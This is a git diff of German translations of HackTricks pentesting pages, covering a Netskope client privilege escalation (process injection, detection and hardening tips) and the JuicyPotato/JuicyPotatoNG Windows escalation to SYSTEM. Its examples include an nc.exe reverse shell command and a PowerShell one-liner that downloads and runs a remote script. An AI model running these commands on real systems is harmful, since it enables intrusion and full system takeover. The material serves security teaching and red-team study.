Stadrv) mit, der gefährliche Rechte von Handles zu geschützten Prozessen entfernt: - Process: entfernt PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME - Thread: beschränkt auf THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE Ein zuverlässiger User‑Mode Loader, der diese Einschränkungen respektiert: 1) CreateProcess eines Vendor‑Binaries mit CREATE_SUSPENDED. -2) Handle erhalten, die noch erlaubt sind: PROCESS_VM_WRITE | PROCESS_VM_OPERATION am Prozess und ein Thread‑Handle mit THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (oder nur THREAD_RESUME, wenn du Code bei einem bekannten RIP patchst). -3) ntdll!NtContinue (oder eine andere frühe, garantiert gemappte Thunk) mit einem winzigen Stub überschreiben, der LoadLibraryW auf deinem DLL‑Pfad aufruft und dann zurückspringt. +2) Hole die Handles, die du noch darfst: PROCESS_VM_WRITE | PROCESS_VM_OPERATION für den Prozess und ein Thread‑Handle mit THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (oder nur THREAD_RESUME, wenn du Code an einer bekannten RIP patchst). +3) Überschreibe ntdll!NtContinue (oder einen anderen frühen, garantiert gemappten Thunk) mit einem kleinen Stub, der LoadLibraryW auf deinem DLL‑Pfad aufruft und dann zurückspringt. 4) ResumeThread, um deinen Stub im Prozess auszulösen und deine DLL zu laden. -Weil du PROCESS_CREATE_THREAD oder PROCESS_SUSPEND_RESUME bei einem bereits geschützten Prozess nie benutzt hast (du hast den Prozess selbst erstellt), ist die Policy des Drivers erfüllt. +Weil du nie PROCESS_CREATE_THREAD oder PROCESS_SUSPEND_RESUME auf einem bereits geschützten Prozess verwendet hast (du hast ihn erstellt), ist die Policy des Drivers erfüllt. --- ## 6) Practical tooling -- NachoVPN (Netskope plugin) automatisiert eine rogue CA, malicious MSI signing und stellt die benötigten Endpunkte bereit: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate. -- UpSkope ist ein custom IPC‑Client, der beliebige (optional AES‑verschlüsselte) IPC‑Nachrichten erstellt und die suspended‑process Injection beinhaltet, damit sie von einem allow‑gelisteten Binary ausgeht. +- NachoVPN (Netskope plugin) automatisiert eine Rogue‑CA, bösartiges MSI‑Signing und bedient die benötigten Endpunkte: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate. +- UpSkope ist ein custom IPC‑Client, der beliebige (optional AES‑verschlüsselte) IPC‑Nachrichten erzeugt und die suspended‑process Injection enthält, um von einem allow‑gelisteten Binary auszugehen. --- ## 7) Detection opportunities (blue team) - Überwache Hinzufügungen zum Local Machine Trusted Root. Sysmon + registry‑mod Eventing (siehe SpecterOps Guidance) funktioniert gut. -- Markiere MSI‑Ausführungen, die vom Agent‑Service aus Pfaden wie C:\ProgramData\\\data\*.msi initiiert werden. -- Prüfe Agent‑Logs auf unerwartete Enrollment Hosts/Tenants, z. B.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – suche nach addonUrl / tenant‑Anomalien und provisioning msg 148. -- Alarmiere bei localhost IPC‑Clients, die nicht die erwarteten signed Binaries sind oder aus ungewöhnlichen Child‑Process‑Trees stammen. +- Flagge MSI‑Ausführungen, die vom Agent‑Service aus Pfaden wie C:\ProgramData\\\data\*.msi initiiert werden. +- Prüfe Agent‑Logs auf unerwartete Enrollment‑Hosts/Tenants, z. B.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – achte auf addonUrl / tenant‑Anomalien und provisioning msg 148. +- Alarmiere bei localhost‑IPC‑Clients, die nicht die erwarteten signed Binaries sind oder aus ungewöhnlichen Child‑Process‑Trees stammen. --- ## Hardening tips for vendors -- Binde Enrollment/Update‑Hosts an eine strikte Allow‑List; lehne untrusted Domains in clientcode ab. -- Authentifiziere IPC‑Peers mit OS‑Primitiven (ALPC security, named‑pipe SIDs) statt mit Image‑Pfad/-Namen‑Checks. -- Halte secret Material aus world‑readable HKLM; falls IPC verschlüsselt werden muss, leite Keys aus geschützten Secrets ab oder verhandle über authentifizierte Kanäle. -- Behandle den Updater als Supply‑Chain‑Angriffsfläche: erfordere eine vollständige Kette zu einer trusted CA, die du kontrollierst, verifiziere Paket‑Signaturen gegen gepinnte Keys und fail closed, wenn Validierung in der Config deaktiviert ist. +- Binde Enrollment/Update‑Hosts an eine strikte Allow‑List; lehne untrusted Domains im clientcode ab. +- Authentifiziere IPC‑Peers mit OS‑Primitiven (ALPC security, named‑pipe SIDs) statt mit Image‑Path/Name‑Checks. +- Halte geheime Materialien aus weltlesbarem HKLM; wenn IPC verschlüsselt werden muss, leite Keys aus geschützten Secrets ab oder verhandle über authentifizierte Kanäle. +- Betrachte den Updater als Supply‑Chain‑Surface: require eine vollständige Chain zu einer trusted CA, die du kontrollierst, verifiziere Package‑Signaturen gegen gepinnte Keys und fail closed, wenn die Validierung in der Config deaktiviert ist. ## References - [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/) diff --git a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md index 8fc4c8dbb..b11817d61 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md +++ b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md @@ -2,57 +2,57 @@ {{#include ../../banners/hacktricks-training.md}} -> [!WARNING] > JuicyPotato ist veraltet. Es funktioniert in der Regel auf Windows-Versionen bis Windows 10 1803 / Windows Server 2016. Änderungen von Microsoft, die ab Windows 10 1809 / Server 2019 ausgeliefert wurden, haben die ursprüngliche Technik gebrochen. Für diese und neuere Builds sollten moderne Alternativen wie PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato und andere in Betracht gezogen werden. Siehe die untenstehende Seite für aktuelle Optionen und Nutzung. +> [!WARNING] > JuicyPotato ist veraltet. Es funktioniert im Allgemeinen auf Windows-Versionen bis einschließlich Windows 10 1803 / Windows Server 2016. Microsoft-Änderungen, die ab Windows 10 1809 / Server 2019 eingeführt wurden, haben die ursprüngliche Technik gebrochen. Für diese Builds und neuer sollten Sie moderne Alternativen wie PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato und andere in Betracht ziehen. Siehe die untenstehende Seite für aktuelle Optionen und Verwendung. {{#ref}} roguepotato-and-printspoofer.md {{#endref}} -## Juicy Potato (Ausnutzung der "goldenen" Privilegien) +## Juicy Potato (Ausnutzung der goldenen Privilegien) -_A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, with a bit of juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_ +_Eine aufgepeppte Version von_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, mit etwas Juice, d.h. **ein weiteres Local Privilege Escalation tool, von Windows Service Accounts zu NT AUTHORITY\SYSTEM**_ #### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) -### Kompatibilitäts-Kurznotizen +### Kompatibilitäts-Kurzhinweise -- Funktioniert zuverlässig bis Windows 10 1803 und Windows Server 2016, wenn der aktuelle Kontext SeImpersonatePrivilege oder SeAssignPrimaryTokenPrivilege besitzt. -- Durch Microsoft-Härtungen in Windows 10 1809 / Windows Server 2019 und neuer gebrochen. Bevorzuge die oben verlinkten Alternativen für diese Builds. +- Funktioniert zuverlässig bis Windows 10 1803 und Windows Server 2016, wenn der aktuelle Kontext über SeImpersonatePrivilege oder SeAssignPrimaryTokenPrivilege verfügt. +- Durch Microsoft-Härtung in Windows 10 1809 / Windows Server 2019 und neuer gebrochen. Für diese Builds bevorzugen Sie die oben verlinkten Alternativen. -### Zusammenfassung +### Summary [**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** -[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`]() [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken. +[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) und seine [variants](https://github.com/decoder-it/lonelypotato) nutzen die privilege escalation chain basierend auf dem `BITS` [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126), der den MiTM-Listener auf `127.0.0.1:6666` hat, und wenn man `SeImpersonate` oder `SeAssignPrimaryToken` Privilegien besitzt. Während einer Windows-Build-Überprüfung fanden wir eine Konfiguration, in der `BITS` absichtlich deaktiviert war und Port `6666` belegt war. -Wir entschieden uns, [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) zu weaponisieren: **Begrüßt Juicy Potato**. +Wir entschieden uns, RottenPotatoNG zu weaponisieren: Say hello to Juicy Potato. > Für die Theorie siehe [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) und folge der Kette von Links und Referenzen. Wir entdeckten, dass es neben `BITS` mehrere COM-Server gibt, die wir missbrauchen können. Sie müssen lediglich: -1. vom aktuellen Benutzer instanziierbar sein, normalerweise ein "Service-Benutzer", der Impersonationsrechte besitzt -2. das `IMarshal`-Interface implementieren -3. als ein erhöhtes Konto laufen (SYSTEM, Administrator, …) +1. vom aktuellen Benutzer instanziierbar sein, normalerweise ein “service user”, der Impersonation-Privilegien hat +2. die `IMarshal`-Schnittstelle implementieren +3. als erhöhter Benutzer (SYSTEM, Administrator, …) laufen -Nach einigen Tests haben wir eine umfangreiche Liste interessanter [CLSID’s](http://ohpe.it/juicy-potato/CLSID/) auf mehreren Windows-Versionen ermittelt und getestet. +Nach einigen Tests erhielten und prüften wir eine umfangreiche Liste interessanter CLSIDs auf mehreren Windows-Versionen. -### Juicy details +### Saftige Details -JuicyPotato erlaubt dir: +JuicyPotato erlaubt es dir: -- **Target CLSID** _wähle beliebiges CLSID aus, das du willst._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _findest du die Liste nach OS sortiert._ -- **COM Listening port** _definiere den COM-Listening-Port, den du bevorzugst (anstatt des gemarshalten hardcodierten 6666)_ -- **COM Listening IP address** _binde den Server an eine beliebige IP_ -- **Process creation mode** _je nach den Rechten des impersonierten Benutzers kannst du wählen zwischen:_ -- `CreateProcessWithToken` (benötigt `SeImpersonate`) -- `CreateProcessAsUser` (benötigt `SeAssignPrimaryToken`) +- **Target CLSID** _pick any CLSID you want._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _you can find the list organized by OS._ +- **COM Listening port** _define COM listening port you prefer (instead of the marshalled hardcoded 6666)_ +- **COM Listening IP address** _bind the server on any IP_ +- **Process creation mode** _abhängig von den Privilegien des impersonierten Benutzers kannst du wählen zwischen:_ +- `CreateProcessWithToken` (needs `SeImpersonate`) +- `CreateProcessAsUser` (needs `SeAssignPrimaryToken`) - `both` -- **Process to launch** _starte ein ausführbares Programm oder Skript, falls die Ausnutzung erfolgreich ist_ -- **Process Argument** _passe die Argumente des gestarteten Prozesses an_ -- **RPC Server address** _für einen stealthy Ansatz kannst du dich an einen externen RPC-Server authentifizieren_ -- **RPC Server port** _nützlich, wenn du dich an einen externen Server authentifizieren willst und die Firewall Port `135` blockiert…_ +- **Process to launch** _Starte ein ausführbares Programm oder Script, falls die Ausnutzung erfolgreich ist_ +- **Process Argument** _Passe die Argumente des gestarteten Prozesses an_ +- **RPC Server address** _Für einen stealthy Ansatz kannst du dich an einem externen RPC-Server authentifizieren_ +- **RPC Server port** _nützlich, falls du dich an einem externen Server authentifizieren möchtest und eine Firewall Port `135` blockiert…_ - **TEST mode** _hauptsächlich zu Testzwecken, z.B. zum Testen von CLSIDs. Es erstellt das DCOM und gibt den Benutzer des Tokens aus. Siehe_ [_here for testing_](http://ohpe.it/juicy-potato/Test/) ### Usage @@ -72,28 +72,28 @@ Optional args: -k : RPC server ip address (default 127.0.0.1) -n : RPC server listen port (default 135) ``` -### Abschließende Gedanken +### Final thoughts [**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:** -If the user has `SeImpersonate` or `SeAssignPrimaryToken` privileges then you are **SYSTEM**. +Wenn der Benutzer die Berechtigungen `SeImpersonate` oder `SeAssignPrimaryToken` hat, dann sind Sie **SYSTEM**. -Es ist nahezu unmöglich, den Missbrauch all dieser COM Servers zu verhindern. Man könnte darüber nachdenken, die Berechtigungen dieser Objekte über `DCOMCNFG` zu ändern, aber viel Glück — das wird herausfordernd. +Es ist nahezu unmöglich, den Missbrauch all dieser COM-Server zu verhindern. Man könnte darüber nachdenken, die Berechtigungen dieser Objekte via `DCOMCNFG` zu ändern, aber viel Glück — das wird herausfordernd. -Die eigentliche Lösung besteht darin, sensible Konten und Anwendungen zu schützen, die unter den `* SERVICE`-Konten laufen. Das Abschalten von `DCOM` würde diesen Exploit zwar behindern, könnte aber schwerwiegende Auswirkungen auf das zugrunde liegende Betriebssystem haben. +Die eigentliche Lösung ist, sensible Accounts und Anwendungen zu schützen, die unter den `* SERVICE`-Konten laufen. Das Abschalten von `DCOM` würde diesen Exploit zwar behindern, könnte aber ernsthafte Auswirkungen auf das zugrunde liegende Betriebssystem haben. From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/) ## JuicyPotatoNG (2022+) JuicyPotatoNG re-introduces a JuicyPotato-style local privilege escalation on modern Windows by combining: -- DCOM OXID-Auflösung zu einem lokalen RPC-Server auf einem gewählten Port, wodurch der alte fest kodierte 127.0.0.1:6666-Listener vermieden wird. -- Ein SSPI-Hook, um die eingehende SYSTEM-Authentifizierung abzufangen und zu impersonaten, ohne RpcImpersonateClient zu benötigen, was außerdem CreateProcessAsUser ermöglicht, wenn nur SeAssignPrimaryTokenPrivilege vorhanden ist. -- Tricks, um DCOM-Aktivierungsbeschränkungen zu erfüllen (z. B. die frühere INTERACTIVE-Gruppenanforderung beim Anvisieren der PrintNotify- / ActiveX Installer Service-Klassen). +- DCOM OXID-Auflösung zu einem lokalen RPC-Server auf einem gewählten Port, wodurch der alte hardcoded 127.0.0.1:6666 Listener vermieden wird. +- Ein SSPI-Hook, um die eingehende SYSTEM-Authentifizierung abzufangen und zu impersonate, ohne RpcImpersonateClient zu benötigen, was außerdem CreateProcessAsUser ermöglicht, wenn nur SeAssignPrimaryTokenPrivilege vorhanden ist. +- Tricks, um DCOM-Aktivierungsbeschränkungen zu erfüllen (z. B. die frühere INTERACTIVE-Gruppen-Anforderung beim Anvisieren der Klassen PrintNotify / ActiveX Installer Service). -Wichtige Hinweise (sich entwickelndes Verhalten über verschiedene Builds): -- September 2022: Die initiale Technik funktionierte auf unterstützten Windows 10/11- und Server-Zielen unter Verwendung des “INTERACTIVE trick”. -- Januar 2023 Update der Autoren: Microsoft hat später den INTERACTIVE trick blockiert. Eine andere CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) stellt die Ausnutzung wieder her, jedoch laut ihrem Beitrag nur auf Windows 11 / Server 2022. +Wichtige Hinweise (Verhalten verändert sich über verschiedene Builds): +- September 2022: Die anfängliche Technik funktionierte auf unterstützten Windows 10/11- und Server-Zielen unter Verwendung des “INTERACTIVE trick”. +- Januar 2023 Update der Autoren: Microsoft blockierte später den INTERACTIVE trick. Ein anderer CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) stellt die Ausnutzung wieder her, aber laut ihrem Beitrag nur auf Windows 11 / Server 2022. Grundlegende Verwendung (mehr Flags in der Hilfe): ``` @@ -103,13 +103,13 @@ JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" # -s Scan for a COM port not filtered by Windows Defender Firewall # -i Interactive console (only with CreateProcessAsUser) ``` -Wenn du Windows 10 1809 / Server 2019 ins Visier nimmst, wo der klassische JuicyPotato gepatcht wurde, verwende vorzugsweise die oben verlinkten Alternativen (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, etc.). NG kann je nach Build- und Service-Zustand situationsabhängig sein. +Wenn du Windows 10 1809 / Server 2019 anvisierst, wo klassisches JuicyPotato gepatcht ist, verwende vorzugsweise die oben verlinkten Alternativen (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, etc.). NG kann je nach Build und Dienstzustand situationsabhängig sein. ## Beispiele -Hinweis: Besuche [this page](https://ohpe.it/juicy-potato/CLSID/) für eine Liste von CLSIDs zum Ausprobieren. +Hinweis: Besuche [diese Seite](https://ohpe.it/juicy-potato/CLSID/) für eine Liste von CLSIDs zum Ausprobieren. -### nc.exe reverse shell bekommen +### nc.exe reverse shell erhalten ``` c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t * @@ -126,13 +126,13 @@ c:\Users\Public> ``` .\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t * ``` -### Starte ein neues CMD (wenn du RDP-Zugang hast) +### Ein neues CMD starten (wenn du RDP-Zugang hast) ![](<../../images/image (300).png>) ## CLSID-Probleme -Oft funktioniert die standardmäßige CLSID, die JuicyPotato verwendet, **nicht** und der Exploit schlägt fehl. Meist sind mehrere Versuche nötig, um eine **funktionierende CLSID** zu finden. Um eine Liste von CLSIDs für ein bestimmtes Betriebssystem zu erhalten, solltest du diese Seite besuchen: +Oftmals funktioniert die Standard-CLSID, die JuicyPotato verwendet, **nicht** und der exploit schlägt fehl. Normalerweise sind mehrere Versuche nötig, um eine **funktionierende CLSID** zu finden. Um eine Liste von CLSIDs zu erhalten, die für ein bestimmtes Betriebssystem ausprobiert werden können, solltest du diese Seite besuchen: - [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/) @@ -140,13 +140,13 @@ Oft funktioniert die standardmäßige CLSID, die JuicyPotato verwendet, **nicht* Zuerst benötigst du einige ausführbare Dateien neben juicypotato.exe. -Lade [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) herunter und lade es in deine PS-Sitzung, und lade und führe [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1) aus. Dieses Skript erstellt eine Liste möglicher CLSIDs zum Testen. +Lade Join-Object.ps1 herunter und lade es in deine PS-Sitzung, und lade und führe GetCLSID.ps1 aus. Dieses Skript erstellt eine Liste möglicher CLSIDs zum Testen. -Lade dann [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(ändere den Pfad zur CLSID-Liste und zur juicypotato-Executable) herunter und führe es aus. Es wird jede CLSID durchprobieren, und **wenn sich die Portnummer ändert, bedeutet das, dass die CLSID funktioniert hat**. +Lade dann test_clsid.bat herunter (ändere den Pfad zur CLSID-Liste und zur juicypotato-Executable) und führe sie aus. Sie wird jede CLSID ausprobieren, und **wenn sich die Portnummer ändert, bedeutet das, dass die CLSID funktioniert hat**. -**Prüfe** die funktionierenden CLSIDs **mit dem Parameter -c** +**Überprüfe** die funktionierenden CLSIDs **mit dem Parameter -c** -## Referenzen +## Quellen - [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md) - [Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/)